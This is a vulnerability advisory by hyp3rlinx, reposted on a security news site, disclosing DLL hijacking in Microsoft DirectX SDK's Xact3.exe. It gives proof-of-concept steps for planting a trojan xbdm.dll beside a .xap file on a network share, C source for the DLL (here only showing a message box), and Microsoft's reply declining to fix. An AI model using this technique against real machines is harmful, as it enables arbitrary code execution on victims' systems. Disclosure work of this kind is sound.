首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft DirectX SDK - 'Xact.exe' Remote Code Execution
来源:hyp3rlinx.altervista.org 作者:hyp3rlinx 发布时间:2018-08-13  
[+] Credits: John Page (aka hyp3rlinx)     
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-DIRECTX-SDK-XACT.EXE-TROJAN-FILE-CODE-EXECUTION.txt
[+] ISR: Apparition Security  
       
 
***Greetz: indoushka | Eduardo*** 
 
 
Vendor
=============
www.microsoft.com
 
 
Product
===========
Microsoft DirectX SDK (June 2010) Xact3.exe
https://www.microsoft.com/en-us/download/details.aspx?id=6812
 
XACT (Cross-platform audio creation tool) is an audio creation and authoring tool from Microsoft.
It comes with a graphical interface that allows sound designers to create audio resources for games,
that can be integrated into XNA projects, offering the game developer a convenient way of accessing these sounds.
 
 
Vulnerability Type
===================
Remote Code Execution
 
 
 
CVE Reference
==============
N/A
 
 
 
Security Issue
================
Microsoft DirectX SDK "Xact3.exe" Cross-platform tool allows for arbitrary code execution via a Trojan horse file "xbdm.dll"
in the current working directory, upon opening a ".xap" project file from same location.
The DirectX SDK deprecated but still avail for download at time of this writing ...
 
 
 
Exploit/POC
=============
1) create DLL 32bit DLL named "xbdm.dll" and place on a remote share
 
2) create an empty file with a ".xap" extension on the same share, this will open using "Xact3.exe" as its default
 
3) open the the .xap file from the Network share then BOOM!
 
 
#include <windows.h>
 
/* hyp3rlinx */
 
/*
gcc -c -m32 xbdm.c
gcc -shared -m32 -o xbdm.dll xbdm.o
*/
 
void executo(){
     MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin " , MB_YESNO + MB_ICONQUESTION );
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
    switch(fdwReason){
        case DLL_PROCESS_ATTACH:{
             executo();
            break;
        }
        case DLL_PROCESS_DETACH:{
             executo();
            break;
        }
        case DLL_THREAD_ATTACH:{
             executo();
            break;
        }
        case DLL_THREAD_DETACH:{
             executo();
            break;
        }
    }
    
    return TRUE;
}
 
 
 
 
Network Access
===============
Remote
 
 
 
Severity
=========
High
 
 
 
Disclosure Timeline
=============================
Vendor Notification: June 7, 2018
MSRC Case 45973 : June 13, 2018
MSRC : "While your finding is valid, we won’t service this issue because the legacy DirectX SDK is deprecated." : August 10, 2018
August 11, 2018 : Public Disclosure
 
 
 
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·iSmartViewPro 1.5 - 'Password'
·Monitoring software iSmartView
·Dicoogle PACS 2.5.0 Web Server
·IP Finder 1.5 - Denial of Serv
·Linux Kernel 4.14.7 (Ubuntu 1
·Oracle Weblogic Server Deseria
·reSIProcate 1.10.2 - Heap Over
·PostgreSQL 9.4-0.5.3 - Privile
·TP-Link C50 Wireless Router 3
·Acunetix WVS 10.0 Build 201506
·TP-Link C50 Wireless Router 3
·PLC Wireless Router GPN2.4P21-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved